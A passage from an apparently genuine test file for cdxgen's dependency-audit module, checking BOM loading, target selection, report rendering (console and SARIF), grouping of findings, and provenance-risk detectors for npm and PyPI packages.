UNPKG

@cyclonedx/cdxgen

Version:

Creates CycloneDX Software Bill of Materials (SBOM) from source or container image

1,722 lines (1,642 loc) 60.8 kB
import { createHash } from "node:crypto"; import { existsSync, mkdirSync, mkdtempSync, realpathSync, rmSync, writeFileSync, } from "node:fs"; import os from "node:os"; import path from "node:path"; import esmock from "esmock"; import { assert, describe, it } from "poku"; import sinon from "sinon"; import { buildPythonSourceHeuristicFindings, buildTargetContextFindings, finalizeAuditReport, groupAuditResults, loadInputBoms, runDirectBomAuditFromBoms, } from "./index.js"; import { formatPredictiveAnnotations, renderAuditReport, renderConsoleReport, } from "./reporters.js"; function writeJson(filePath, payload) { mkdirSync(path.dirname(filePath), { recursive: true }); writeFileSync(filePath, `${JSON.stringify(payload, null, 2)}\n`); } function auditTargetSlug(target) { const packageName = target.namespace ? `${target.namespace}-${target.name}` : target.name; const normalized = packageName .toLowerCase() .replace(/[-_.]+/g, "-") .replace(/[^a-z0-9-]/g, "-") .replace(/-+/g, "-") .replace(/^-|-$/g, ""); const version = (target.version || "latest") .toLowerCase() .replace(/[-_.]+/g, "-"); const digest = createHash("sha256") .update(target.purl) .digest("hex") .slice(0, 12); return `${target.type}-${normalized || "package"}-${version || "latest"}-${digest}`; } describe("loadInputBoms()", () => { it("loads valid BOMs from a directory and skips unrelated JSON files", () => { const tmpDir = mkdtempSync(path.join(os.tmpdir(), "cdx-audit-")); const bomPath = path.join(tmpDir, "bom.json"); const otherPath = path.join(tmpDir, "notes.json"); writeJson(bomPath, { bomFormat: "CycloneDX", specVersion: "1.6", version: 1, components: [], }); writeJson(otherPath, { hello: "world", }); try { const inputBoms = loadInputBoms({ bomDir: tmpDir }); assert.strictEqual(inputBoms.length, 1); assert.strictEqual(inputBoms[0].source, bomPath); } finally { rmSync(tmpDir, { force: true, recursive: true }); } }); }); describe("runAuditFromBoms()", () => { it("passes scope/max target options to the selector and emits a preflight notice", async () => { const collectAuditTargetsStub = sinon.stub().returns({ skipped: [], stats: { availableTargets: 60, nonRequiredTargets: 59, requiredTargets: 1, trustedTargets: 12, trustedTargetsExcluded: 12, truncatedTargets: 59, }, targets: [ { name: "core", namespace: "acme", purl: "pkg:npm/acme/core@1.0.0", required: true, type: "npm", version: "1.0.0", }, ], }); const progressEvents = []; const { runAuditFromBoms: mockedRunAuditFromBoms } = await esmock( "./index.js", { "../cli/index.js": { createBom: sinon.stub().resolves({ bomJson: { bomFormat: "CycloneDX", components: [], specVersion: "1.7", version: 1, }, }), }, "../helpers/bomUtils.js": { getNonCycloneDxErrorMessage: sinon.stub(), isCycloneDxBom: () => true, }, "../helpers/logger.js": { thoughtLog: sinon.stub() }, "../helpers/provenanceUtils.js": { hasRegistryProvenanceEvidenceProperties: () => false, hasTrustedPublishingProperties: () => false, }, "../helpers/source.js": { cleanupSourceDir: sinon.stub(), findGitRefForPurlVersion: sinon.stub().returns(undefined), hardenedGitCommand: sinon.stub().returns({ status: 0 }), resolveGitUrlFromPurl: sinon.stub().resolves({ repoUrl: "https://github.com/acme/core.git", type: "npm", }), resolvePurlSourceDirectory: sinon.stub().returnsArg(0), sanitizeRemoteUrlForLogs: (value) => value, }, "../helpers/utils.js": { dirNameStr: path.resolve("."), getTmpDir: () => os.tmpdir(), safeExistsSync: (filePath) => existsSync(filePath), safeMkdirSync: (filePath, options) => mkdirSync(filePath, options), }, "../stages/postgen/auditBom.js": { auditBom: sinon.stub().resolves([]), }, "../stages/postgen/postgen.js": { postProcess: sinon.stub().callsFake((bomNSData) => bomNSData), }, "./targets.js": { collectAuditTargets: collectAuditTargetsStub, normalizePackageName: (value) => (value || "").toLowerCase().replace(/[-_.]+/g, "-"), }, }, ); const report = await mockedRunAuditFromBoms( [ { bomJson: { bomFormat: "CycloneDX", components: [], specVersion: "1.7", version: 1, }, source: "bom.json", }, ], { maxTargets: 50, onProgress: (event) => progressEvents.push(event), prioritizeDirectRuntime: true, scope: "required", trustedSelectionHelp: "Use --include-trusted to include them or --only-trusted to audit just those packages.", }, ); assert.strictEqual(report.summary.totalTargets, 1); assert.deepStrictEqual(collectAuditTargetsStub.firstCall.args[1], { allowlistFile: undefined, maxTargets: 50, prioritizeDirectRuntime: true, scope: "required", trusted: undefined, }); assert.strictEqual(progressEvents[0].type, "run:info"); assert.match(progressEvents[0].message, /scan 1 required package/); assert.match( progressEvents[0].message, /Skipping 12 trusted-publishing-backed package/, ); assert.strictEqual(progressEvents[1].type, "run:start"); }); it("supports dry-run predictive audit planning without cloning targets", async () => { const collectAuditTargetsStub = sinon.stub().returns({ skipped: [], stats: { availableTargets: 1, nonRequiredTargets: 0, requiredTargets: 1, trustedTargets: 0, trustedTargetsExcluded: 0, truncatedTargets: 0, }, targets: [ { name: "core", namespace: "acme", purl: "pkg:npm/acme/core@1.0.0", required: true, type: "npm", version: "1.0.0", }, ], }); const enrichInputBomsWithRegistryMetadataStub = sinon.stub().resolves(); const recordActivityStub = sinon.stub(); const { runAuditFromBoms: mockedRunAuditFromBoms } = await esmock( "./index.js", { "../cli/index.js": { createBom: sinon.stub(), }, "../helpers/bomUtils.js": { getNonCycloneDxErrorMessage: sinon.stub(), isCycloneDxBom: () => true, }, "../helpers/logger.js": { thoughtLog: sinon.stub() }, "../helpers/provenanceUtils.js": { hasRegistryProvenanceEvidenceProperties: () => false, hasTrustedPublishingProperties: () => false, }, "../helpers/source.js": { cleanupSourceDir: sinon.stub(), findGitRefForPurlVersion: sinon.stub().returns(undefined), hardenedGitCommand: sinon.stub(), resolveGitUrlFromPurl: sinon.stub(), resolvePurlSourceDirectory: sinon.stub(), sanitizeRemoteUrlForLogs: (value) => value, }, "../helpers/utils.js": { dirNameStr: path.resolve("."), getTmpDir: () => os.tmpdir(), isDryRun: true, recordActivity: recordActivityStub, safeExistsSync: (filePath) => existsSync(filePath), safeMkdirSync: (filePath, options) => mkdirSync(filePath, options), safeMkdtempSync: sinon.stub(), safeRmSync: sinon.stub(), safeWriteSync: sinon.stub(), }, "../stages/postgen/auditBom.js": { auditBom: sinon.stub().resolves([]), }, "../stages/postgen/postgen.js": { postProcess: sinon.stub().callsFake((bomNSData) => bomNSData), }, "./targets.js": { collectAuditTargets: collectAuditTargetsStub, enrichInputBomsWithRegistryMetadata: enrichInputBomsWithRegistryMetadataStub, normalizePackageName: (value) => (value || "").toLowerCase().replace(/[-_.]+/g, "-"), }, }, ); const report = await mockedRunAuditFromBoms( [ { bomJson: { bomFormat: "CycloneDX", components: [], specVersion: "1.7", version: 1, }, source: "bom.json", }, ], {}, ); assert.strictEqual(report.dryRun, true); assert.strictEqual(report.summary.predictiveDryRun, true); assert.strictEqual(report.summary.totalTargets, 1); assert.strictEqual(report.summary.scannedTargets, 0); assert.strictEqual(report.summary.skippedTargets, 1); assert.strictEqual(report.results[0].status, "skipped"); assert.match( report.results[0].assessment.reasons[0], /skipped registry metadata fetches/i, ); sinon.assert.notCalled(enrichInputBomsWithRegistryMetadataStub); sinon.assert.calledWithMatch(recordActivityStub, { kind: "audit", reason: sinon.match(/skipped registry metadata fetches/i), target: "predictive-dependency-audit", }); }); }); describe("runDirectBomAuditFromBoms()", () => { it("throws when no BOM inputs are provided", async () => { await assert.rejects( runDirectBomAuditFromBoms([], {}), /No CycloneDX BOM inputs were found/, ); }); it("defaults OBOM-like saved BOMs to the obom-runtime rule category", async () => { const auditBomStub = sinon.stub().resolves([ { category: "obom-runtime", message: "Mount '/dev/shm' is missing noexec.", ruleId: "OBOM-LNX-018", severity: "high", }, ]); const { runDirectBomAuditFromBoms: mockedRunDirectBomAuditFromBoms } = await esmock("./index.js", { "../stages/postgen/auditBom.js": { auditBom: auditBomStub, isObomLikeBom: () => true, }, }); const report = await mockedRunDirectBomAuditFromBoms( [ { bomJson: { bomFormat: "CycloneDX", metadata: { lifecycles: [{ phase: "operations" }], }, specVersion: "1.7", version: 1, }, source: "saved-obom.json", }, ], { minSeverity: "low", }, ); assert.strictEqual(auditBomStub.callCount, 1); assert.deepStrictEqual(auditBomStub.firstCall.args[1], { bomAuditCategories: "obom-runtime", bomAuditMinSeverity: "low", bomAuditRulesDir: undefined, }); assert.strictEqual(report.auditMode, "direct"); assert.strictEqual(report.summary.totalFindings, 1); assert.strictEqual(report.summary.findingsBySeverity.high, 1); }); it("defaults HBOM-like saved BOMs to the HBOM rule categories", async () => { const auditBomStub = sinon.stub().resolves([ { category: "hbom-security", message: "Storage component 'Main SSD' is reported as unencrypted", ruleId: "HBS-001", severity: "high", }, ]); const { runDirectBomAuditFromBoms: mockedRunDirectBomAuditFromBoms } = await esmock("./index.js", { "../stages/postgen/auditBom.js": { auditBom: auditBomStub, isHbomLikeBom: () => true, isObomLikeBom: () => false, }, }); const report = await mockedRunDirectBomAuditFromBoms( [ { bomJson: { bomFormat: "CycloneDX", metadata: { component: { properties: [ { name: "cdx:hbom:platform", value: "darwin", }, ], type: "device", }, }, properties: [ { name: "cdx:hbom:collectorProfile", value: "darwin-arm64", }, ], specVersion: "1.7", version: 1, }, source: "saved-hbom.json", }, ], { minSeverity: "low", }, ); assert.strictEqual(auditBomStub.callCount, 1); assert.deepStrictEqual(auditBomStub.firstCall.args[1], { bomAuditCategories: "hbom-security,hbom-performance,hbom-compliance", bomAuditMinSeverity: "low", bomAuditRulesDir: undefined, }); assert.strictEqual(report.auditMode, "direct"); assert.strictEqual(report.summary.totalFindings, 1); assert.strictEqual(report.summary.findingsBySeverity.high, 1); }); it("honors explicit categories and custom rules for direct BOM audit", async () => { const auditBomStub = sinon.stub().resolves([]); const { runDirectBomAuditFromBoms: mockedRunDirectBomAuditFromBoms } = await esmock("./index.js", { "../stages/postgen/auditBom.js": { auditBom: auditBomStub, isObomLikeBom: () => false, }, }); await mockedRunDirectBomAuditFromBoms( [ { bomJson: { bomFormat: "CycloneDX", specVersion: "1.7", version: 1, }, source: "saved-bom.json", }, ], { categories: ["obom-runtime", "rootfs-hardening"], minSeverity: "medium", rulesDir: "/tmp/custom-rules", }, ); assert.deepStrictEqual(auditBomStub.firstCall.args[1], { bomAuditCategories: "obom-runtime,rootfs-hardening", bomAuditMinSeverity: "medium", bomAuditRulesDir: "/tmp/custom-rules", }); }); }); describe("finalizeAuditReport()", () => { it("returns exit code 3 when a target meets the fail severity", () => { const finalized = finalizeAuditReport( { results: [ { assessment: { severity: "high", }, findings: [], target: { name: "left-pad", type: "npm", }, }, ], summary: { erroredTargets: 0, inputBomCount: 1, scannedTargets: 1, skippedTargets: 0, totalTargets: 1, }, }, { failSeverity: "high", minSeverity: "low", report: "console", }, ); assert.strictEqual(finalized.exitCode, 3); assert.match(finalized.output, /left-pad/); }); it("returns exit code 0 when no target crosses the fail threshold", () => { const finalized = finalizeAuditReport( { results: [ { assessment: { confidenceLabel: "medium", reasons: ["Only one mild signal observed."], score: 18, severity: "low", }, findings: [ { message: "Deprecated package", ruleId: "INT-005", }, ], target: { name: "requests", type: "pypi", }, }, ], summary: { erroredTargets: 0, inputBomCount: 1, scannedTargets: 1, skippedTargets: 0, totalTargets: 1, }, }, { failSeverity: "high", minSeverity: "low", report: "console", }, ); assert.strictEqual(finalized.exitCode, 0); assert.match(finalized.output, /requests/); }); it("uses consolidated grouped results for fail-threshold decisions", () => { const finalized = finalizeAuditReport( { groupedResults: [ { assessment: { severity: "medium", }, findings: [], grouping: { label: "npm:@npmcli/*", }, target: { name: "*", type: "npm", }, }, ], results: [ { assessment: { severity: "high", }, findings: [], target: { name: "fs", type: "npm", }, }, ], summary: { erroredTargets: 0, inputBomCount: 1, scannedTargets: 1, skippedTargets: 0, totalTargets: 1, }, }, { failSeverity: "high", minSeverity: "low", report: "console", }, ); assert.strictEqual(finalized.exitCode, 0); assert.match(finalized.output, /@npmcli/); }); it("does not treat target analysis errors as fail-threshold hits on their own", () => { const finalized = finalizeAuditReport( { results: [ { assessment: { severity: "critical", }, error: "Unable to clone repository.", findings: [], status: "error", target: { name: "left-pad", type: "npm", }, }, ], summary: { analysisErrorCounts: { clone: 1 }, erroredTargets: 1, inputBomCount: 1, scannedTargets: 0, skippedTargets: 0, totalTargets: 1, }, }, { failSeverity: "high", minSeverity: "low", report: "console", }, ); assert.strictEqual(finalized.exitCode, 0); assert.match(finalized.output, /analysis error types: clone: 1/i); }); it("renders grouped predictive findings as SARIF 2.1.0 output", () => { const finalized = finalizeAuditReport( { groupedResults: [ { assessment: { confidenceLabel: "high", reasons: ["Two corroborating signals were observed."], score: 72, severity: "high", }, findings: [ { category: "package-integrity", description: "Install-time hooks without provenance.", message: "Package lacks registry-visible provenance.", mitigation: "Prefer provenance-backed releases.", ruleId: "PROV-001", severity: "medium", }, ], grouping: { groupedPurls: ["pkg:npm/%40npmcli/fs@5.0.0"], label: "npm:@npmcli/*", memberCount: 1, }, status: "audited", target: { bomRefs: ["pkg:npm/@npmcli/fs@5.0.0"], name: "*", namespace: "@npmcli", purl: "pkg:npm/%40npmcli/fs@5.0.0", type: "npm", }, }, ], summary: { erroredTargets: 0, inputBomCount: 1, scannedTargets: 1, skippedTargets: 0, totalTargets: 1, }, tool: { name: "cdx-audit", version: "12.3.1", }, }, { failSeverity: "critical", minSeverity: "low", report: "sarif", }, ); const parsed = JSON.parse(finalized.output); assert.strictEqual(finalized.exitCode, 0); assert.strictEqual(parsed.version, "2.1.0"); assert.strictEqual(parsed.runs[0].tool.driver.name, "cdx-audit"); assert.strictEqual(parsed.runs[0].tool.driver.version, "12.3.1"); assert.strictEqual(parsed.runs[0].results.length, 1); assert.strictEqual(parsed.runs[0].results[0].ruleId, "PROV-001"); assert.strictEqual( parsed.runs[0].results[0].locations[0].logicalLocations[0] .fullyQualifiedName, "pkg:npm/@npmcli/fs@5.0.0", ); }); it("returns exit code 3 for direct BOM audit findings at the fail threshold", () => { const finalized = finalizeAuditReport( { auditMode: "direct", inputs: ["saved-obom.json"], results: [ { findings: [ { description: "Temporary mounts should carry noexec.", message: "Mount '/dev/shm' is missing noexec.", ruleId: "OBOM-LNX-018", severity: "high", }, ], source: "saved-obom.json", }, ], summary: { bomsWithFindings: 1, findingsBySeverity: { critical: 0, high: 1, low: 0, medium: 0, }, inputBomCount: 1, maxSeverity: "high", totalFindings: 1, }, }, { failSeverity: "high", minSeverity: "low", report: "console", }, ); assert.strictEqual(finalized.exitCode, 3); assert.match(finalized.output, /\/dev\/shm/); assert.match(finalized.output, /Mount '\/dev\/shm' is missing noexec/); }); it("includes synthetic SARIF results when a target fails before findings are produced", () => { const rendered = renderAuditReport( "sarif", { results: [ { assessment: { confidenceLabel: "low", reasons: ["Source resolution failed."], score: 45, severity: "high", }, error: "Unable to clone repository.", errorType: "clone", findings: [], status: "error", target: { bomRefs: ["pkg:pypi/example@1.0.0"], name: "example", purl: "pkg:pypi/example@1.0.0", type: "pypi", version: "1.0.0", }, }, ], summary: { erroredTargets: 1, inputBomCount: 1, scannedTargets: 0, skippedTargets: 0, totalTargets: 1, }, tool: { name: "cdx-audit", version: "12.3.1", }, }, { minSeverity: "low", }, ); const parsed = JSON.parse(rendered); assert.strictEqual(parsed.runs[0].results.length, 1); assert.strictEqual(parsed.runs[0].results[0].ruleId, "AUDIT-ERROR"); assert.strictEqual(parsed.runs[0].results[0].level, "error"); assert.strictEqual(parsed.runs[0].tool.driver.rules[0].id, "AUDIT-ERROR"); }); it("includes next-action and upstream guidance in SARIF output", () => { const rendered = renderAuditReport( "sarif", { results: [ { assessment: { confidenceLabel: "high", reasons: ["Release workflow exposes legacy credentials."], score: 71, severity: "high", }, findings: [ { attackTactics: ["TA0006", "TA0010"], attackTechniques: ["T1528"], location: { file: ".github/workflows/release.yml", }, message: "Workflow publish step uses legacy npm token-based publishing.", mitigation: "Prefer trusted publishing or OIDC-backed release flows instead of long-lived tokens.", ruleId: "CI-010", severity: "medium", }, ], repoUrl: "https://github.com/example/project", status: "audited", target: { bomRefs: ["pkg:npm/example@1.0.0"], name: "example", purl: "pkg:npm/example@1.0.0", type: "npm", version: "1.0.0", }, }, ], summary: { erroredTargets: 0, inputBomCount: 1, scannedTargets: 1, skippedTargets: 0, totalTargets: 1, }, tool: { name: "cdx-audit", version: "12.3.1", }, }, { minSeverity: "low", }, ); const parsed = JSON.parse(rendered); assert.match( parsed.runs[0].tool.driver.rules[0].help.text, /open an issue or discussion/i, ); assert.match( parsed.runs[0].results[0].properties.nextAction, /open an issue or discussion/i, ); assert.match( parsed.runs[0].results[0].properties.upstreamEscalation, /upstream maintainers/i, ); assert.deepStrictEqual(parsed.runs[0].results[0].properties.attackTactics, [ "TA0006", "TA0010", ]); assert.deepStrictEqual( parsed.runs[0].tool.driver.rules[0].properties.attackTechniques, ["T1528"], ); assert.ok( parsed.runs[0].tool.driver.rules[0].properties.tags.includes( "ATT&CK:TA0006", ), ); }); it("renders an action-oriented console report for actionable results", () => { const rendered = renderConsoleReport( { results: [ { assessment: { confidenceLabel: "high", reasons: ["Release workflow exposes legacy credentials."], score: 71, severity: "high", }, findings: [ { location: { file: ".github/workflows/release.yml", }, message: "Workflow publish step uses legacy npm token-based publishing.", mitigation: "Prefer trusted publishing or OIDC-backed release flows instead of long-lived tokens.", ruleId: "CI-010", }, ], repoUrl: "https://github.com/example/project", status: "audited", target: { bomRefs: ["pkg:npm/example@1.0.0"], name: "example", purl: "pkg:npm/example@1.0.0", type: "npm", version: "1.0.0", }, }, ], summary: { erroredTargets: 0, inputBomCount: 1, scannedTargets: 1, skippedTargets: 0, totalTargets: 1, }, }, { minSeverity: "low", }, ); assert.match(rendered, /Dependencies requiring your attention:/); assert.match(rendered, /What to do next/); assert.match(rendered, /\.github\/workflows\/release\.yml/); assert.match(rendered, /https:\/\/github.com\/example\/project/); assert.match(rendered, /OIDC-backed release flows/); assert.match(rendered, /open an issue or discussion/i); assert.match(rendered, /upstream maintainers/i); }); it("suggests upstream reporting for externally maintained package findings", () => { const rendered = renderConsoleReport( { results: [ { assessment: { confidenceLabel: "medium", reasons: ["Publisher drift was detected on a mature package."], score: 46, severity: "medium", }, findings: [ { location: { purl: "pkg:npm/example@2.0.0", }, message: "npm package 'example@2.0.0' was published by a different identity than the prior release and lacks registry-visible provenance.", mitigation: "Review maintainer changes, compare the prior release publisher, and validate provenance before upgrading execution-capable packages.", ruleId: "PROV-004", }, ], repoUrl: "https://github.com/example/project", status: "audited", target: { bomRefs: ["pkg:npm/example@2.0.0"], name: "example", purl: "pkg:npm/example@2.0.0", type: "npm", version: "2.0.0", }, }, ], summary: { erroredTargets: 0, inputBomCount: 1, scannedTargets: 1, skippedTargets: 0, totalTargets: 1, }, }, { minSeverity: "low", }, ); assert.match(rendered, /pkg:npm\/example@2.0.0/); assert.match(rendered, /maintained externally/i); assert.match(rendered, /open an issue or discussion/i); assert.match(rendered, /upstream maintainers/i); assert.match(rendered, /Review maintainer/i); assert.match(rendered, /prior release publisher/i); }); it("renders a clearer no-action-needed console report when nothing crosses the threshold", () => { const rendered = renderConsoleReport( { results: [], summary: { erroredTargets: 0, inputBomCount: 1, scannedTargets: 0, skippedTargets: 0, totalTargets: 0, }, }, { minSeverity: "low", }, ); assert.match(rendered, /No dependencies require your attention right now/); assert.match(rendered, /configured severity threshold \('low'\)/); }); it("explains predictive audit planning limits in dry-run mode", () => { const rendered = renderConsoleReport( { dryRun: true, results: [], summary: { erroredTargets: 0, groupedResultCount: 0, inputBomCount: 1, predictiveDryRun: true, scannedTargets: 0, skippedTargets: 2, totalTargets: 2, }, }, { minSeverity: "low", }, ); assert.match( rendered, /Dry-run mode only planned predictive audit targets/i, ); assert.match(rendered, /Re-run without --dry-run/i); }); }); describe("groupAuditResults()", () => { it("consolidates npm namespace findings with the same rule pattern", () => { const groupedResults = groupAuditResults([ { assessment: { categoryCounts: { "ci-permission": 1, }, confidenceLabel: "high", reasons: [ "1 strong finding(s) were observed across the generated source SBOM.", ], score: 58, severity: "medium", }, findings: [ { category: "ci-permission", message: "Interpolated github.event.pull_request.title", ruleId: "CI-007", }, ], repoUrl: "https://github.com/npm/fs.git", status: "audited", target: { bomRefs: ["pkg:npm/@npmcli/fs@5.0.0"], name: "fs", namespace: "@npmcli", purl: "pkg:npm/%40npmcli/fs@5.0.0", type: "npm", version: "5.0.0", }, }, { assessment: { categoryCounts: { "ci-permission": 1, }, confidenceLabel: "high", reasons: [ "1 strong finding(s) were observed across the generated source SBOM.", ], score: 58, severity: "medium", }, findings: [ { category: "ci-permission", message: "Interpolated github.event.pull_request.title", ruleId: "CI-007", }, ], repoUrl: "https://github.com/npm/git.git", status: "audited", target: { bomRefs: ["pkg:npm/@npmcli/git@7.0.2"], name: "git", namespace: "@npmcli", purl: "pkg:npm/%40npmcli/git@7.0.2", type: "npm", version: "7.0.2", }, }, { assessment: { categoryCounts: { "package-integrity": 1, }, confidenceLabel: "high", reasons: ["Findings remained isolated."], score: 16, severity: "low", }, findings: [ { category: "package-integrity", message: "Install hook present", ruleId: "INT-001", }, ], repoUrl: "https://github.com/isaacs/string-locale-compare.git", status: "audited", target: { bomRefs: ["pkg:npm/@isaacs/string-locale-compare@1.1.0"], name: "string-locale-compare", namespace: "@isaacs", purl: "pkg:npm/%40isaacs/string-locale-compare@1.1.0", type: "npm", version: "1.1.0", }, }, ]); assert.strictEqual(groupedResults.length, 2); assert.strictEqual(groupedResults[0].grouping?.label, "npm:@npmcli/*"); assert.strictEqual(groupedResults[0].grouping?.memberCount, 2); assert.strictEqual(groupedResults[1].target.name, "string-locale-compare"); }); it("consolidates shared-repository CI findings across multiple packages", () => { const groupedResults = groupAuditResults([ { assessment: { categoryCounts: { "ci-permission": 2, }, confidenceLabel: "high", reasons: ["CI hygiene signals were observed."], score: 42, severity: "medium", }, findings: [ { category: "ci-permission", location: { file: ".github/workflows/release.yml", }, message: "Unpinned privileged action", ruleId: "CI-001", }, ], repoUrl: "https://github.com/example/mono.git", status: "audited", target: { bomRefs: ["pkg:npm/pkg-a@1.0.0"], name: "pkg-a", namespace: "@acme", purl: "pkg:npm/%40acme/pkg-a@1.0.0", type: "npm", version: "1.0.0", }, }, { assessment: { categoryCounts: { "ci-permission": 2, }, confidenceLabel: "high", reasons: ["CI hygiene signals were observed."], score: 42, severity: "medium", }, findings: [ { category: "ci-permission", location: { file: ".github/workflows/release.yml", }, message: "Unpinned privileged action", ruleId: "CI-001", }, ], repoUrl: "https://github.com/example/mono", status: "audited", target: { bomRefs: ["pkg:npm/pkg-b@1.0.0"], name: "pkg-b", namespace: "@acme", purl: "pkg:npm/%40acme/pkg-b@1.0.0", type: "npm", version: "1.0.0", }, }, ]); assert.strictEqual(groupedResults.length, 1); assert.strictEqual(groupedResults[0].grouping?.kind, "shared-repo-ci"); assert.strictEqual(groupedResults[0].grouping?.memberCount, 2); assert.strictEqual(groupedResults[0].findings.length, 1); assert.match( groupedResults[0].assessment.reasons.join(" "), /same repository/i, ); }); it("consolidates Cargo repository findings with the same predictive pattern", () => { const groupedResults = groupAuditResults([ { assessment: { categoryCounts: { "dependency-source": 1, "package-integrity": 1, }, confidenceLabel: "high", reasons: ["Cargo build-surface signals increased review priority."], score: 61, severity: "high", }, findings: [ { category: "dependency-source", message: "Mutable source for workspace build dependency", ruleId: "PKG-001", }, { category: "package-integrity", message: "Crate was yanked from the registry", ruleId: "PROV-015", }, ], repoUrl: "https://github.com/example/rust-mono.git", status: "audited", target: { bomRefs: ["pkg:cargo/core-crate@1.2.3"], name: "core-crate", purl: "pkg:cargo/core-crate@1.2.3", type: "cargo", version: "1.2.3", }, }, { assessment: { categoryCounts: { "dependency-source": 1, "package-integrity": 1, }, confidenceLabel: "high", reasons: ["Cargo build-surface signals increased review priority."], score: 59, severity: "high", }, findings: [ { category: "dependency-source", message: "Mutable source for workspace build dependency", ruleId: "PKG-001", }, { category: "package-integrity", message: "Crate was yanked from the registry", ruleId: "PROV-015", }, ], repoUrl: "https://github.com/example/rust-mono", status: "audited", target: { bomRefs: ["pkg:cargo/cli-crate@1.2.3"], name: "cli-crate", purl: "pkg:cargo/cli-crate@1.2.3", type: "cargo", version: "1.2.3", }, }, ]); assert.strictEqual(groupedResults.length, 1); assert.strictEqual(groupedResults[0].grouping?.kind, "cargo-repository"); assert.strictEqual(groupedResults[0].grouping?.memberCount, 2); assert.match( groupedResults[0].grouping?.label, /^cargo:https:\/\/github.com/, ); assert.match( groupedResults[0].assessment.reasons.join(" "), /Cargo packages resolved to the same repository/i, ); }); }); describe("buildTargetContextFindings()", () => { it("creates a medium provenance detector for npm install-script packages without provenance", () => { const findings = buildTargetContextFindings({ bomRefs: ["pkg:npm/example@1.2.3"], name: "example", purl: "pkg:npm/example@1.2.3", properties: [ { name: "cdx:npm:hasInstallScript", value: "true", }, ], type: "npm", version: "1.2.3", }); assert.strictEqual(findings.length, 1); assert.strictEqual(findings[0].ruleId, "PROV-001"); assert.strictEqual(findings[0].severity, "medium"); }); it("creates a low provenance detector for default-registry PyPI packages without provenance", () => { const findings = buildTargetContextFindings({ bomRefs: ["pkg:pypi/example@2.0.0"], name: "example", purl: "pkg:pypi/example@2.0.0", properties: [], type: "pypi", version: "2.0.0", }); assert.strictEqual(findings.length, 1); assert.strictEqual(findings[0].ruleId, "PROV-002"); assert.strictEqual(findings[0].severity, "low"); }); it("does not create provenance detector findings when trusted publishing is present", () => { const findings = buildTargetContextFindings({ bomRefs: ["pkg:npm/example@1.2.3"], name: "example", purl: "pkg:npm/example@1.2.3", properties: [ { name: "cdx:npm:hasInstallScript", value: "true", }, { name: "cdx:npm:trustedPublishing", value: "true", }, ], type: "npm", version: "1.2.3", }); assert.strictEqual(findings.length, 0); }); it("does not create provenance detector findings when direct provenance evidence is present", () => { const findings = buildTargetContextFindings({ bomRefs: ["pkg:npm/example@1.2.3"], name: "example", purl: "pkg:npm/example@1.2.3", properties: [ { name: "cdx:npm:hasInstallScript", value: "true", }, { name: "cdx:npm:provenanceKeyId", value: "sigstore-key", }, ], type: "npm", version: "1.2.3", }); assert.strictEqual(findings.length, 0); }); it("creates recent-release and publisher-drift detectors for risky npm packages", () => { const recentTimestamp = new Date( Date.now() - 1000 * 60 * 60 * 12, ).toISOString(); const oldTimestamp = new Date( Date.now() - 1000 * 60 * 60 * 24 * 120, ).toISOString(); const findings = buildTargetContextFindings({ bomRefs: ["pkg:npm/example@2.0.0"], name: "example", purl: "pkg:npm/example@2.0.0", properties: [ { name: "cdx:npm:hasInstallScript", value: "true", }, { name: "cdx:npm:publishTime", value: recentTimestamp, }, { name: "cdx:npm:packageCreatedTime", value: oldTimestamp, }, { name: "cdx:npm:versionCount", value: "10", }, { name: "cdx:npm:publisherDrift", value: "true", }, ], type: "npm", version: "2.0.0", }); assert.ok(findings.some((finding) => finding.ruleId === "PROV-003")); assert.ok(findings.some((finding) => finding.ruleId === "PROV-004")); }); it("creates maintainer-set drift and dormant-gap detectors for risky npm packages", () => { const findings = buildTargetContextFindings({ bomRefs: ["pkg:npm/example@3.0.0"], name: "example", purl: "pkg:npm/example@3.0.0", properties: [ { name: "cdx:npm:hasInstallScript", value: "true", }, { name: "cdx:npm:packageCreatedTime", value: "2024-01-01T00:00:00.000Z", }, { name: "cdx:npm:versionCount", value: "12", }, { name: "cdx:npm:maintainerSetDrift", value: "true", }, { name: "cdx:npm:releaseGapDays", value: "240", }, { name: "cdx:npm:releaseGapBaselineDays", value: "12", }, { name: "cdx:npm:releaseGapSampleSize", value: "4", }, ], type: "npm", version: "3.0.0", }); assert.ok(findings.some((finding) => finding.ruleId === "PROV-007")); assert.ok(findings.some((finding) => finding.ruleId === "PROV-008")); }); it("creates partial-overlap drift and compressed-cadence detectors for risky npm packages", () => { const findings = buildTargetContextFindings({ bomRefs: ["pkg:npm/example@3.1.0"], name: "example", purl: "pkg:npm/example@3.1.0", properties: [ { name: "cdx:npm:hasInstallScript", value: "true", }, { name: "cdx:npm:packageCreatedTime", value: "2024-01-01T00:00:00.000Z", }, { name: "cdx:npm:versionCount", value: "12", }, { name: "cdx:npm:maintainerSet", value: "alice, bob", }, { name: "cdx:npm:priorMaintainerSet", value: "bob, charlie", }, { name: "cdx:npm:releaseGapDays", value: "9", }, { name: "cdx:npm:releaseGapBaselineDays", value: "60", }, { name: "cdx:npm:releaseGapSampleSize", value: "3", }, ], type: "npm", version: "3.1.0", }); assert.ok(findings.some((finding) => finding.ruleId === "PROV-011")); assert.ok(findings.some((finding) => finding.ruleId === "PROV-012")); assert.ok(!findings.some((finding) => finding.ruleId === "PROV-007")); }); it("creates recent-release and publisher-drift detectors for default-registry PyPI packages", () => { const recentTimestamp = new Date( Date.now() - 1000 * 60 * 60 * 12, ).toISOString(); const oldTimestamp = new Date( Date.now() - 1000 * 60 * 60 * 24 * 120, ).toISOString(); const findings = buildTargetContextFindings({ bomRefs: ["pkg:pypi/example@2.0.0"], name: "example", purl: "pkg:pypi/example@2.0.0", properties: [ { name: "cdx:pypi:publishTime", value: recentTimestamp, }, { name: "cdx:pypi:packageCreatedTime", value: oldTimestamp, }, { name: "cdx:pypi:versionCount", value: "8", }, { name: "cdx:pypi:publisherDrift", value: "true", }, ], type: "pypi", version: "2.0.0", }); assert.ok(findings.some((finding) => finding.ruleId === "PROV-005")); assert.ok(findings.some((finding) => finding.ruleId === "PROV-006")); }); it("creates uploader-set drift and dormant-gap detectors for PyPI packages with weak trust posture", () => { const findings = buildTargetContextFindings({ bomRefs: ["pkg:pypi/example@3.0.0"], name: "example", purl: "pkg:pypi/example@3.0.0", properties: [ { name: "cdx:pypi:packageCreatedTime", value: "2024-01-01T00:00:00.000Z", }, { name: "cdx:pypi:versionCount", value: "12", }, { name: "cdx:pypi:uploaderSetDrift", value: "true", }, { name: "cdx:pypi:releaseGapDays", value: "240", }, { name: "cdx:pypi:releaseGapBaselineDays", value: "12", }, { name: "cdx:pypi:releaseGapSampleSize", 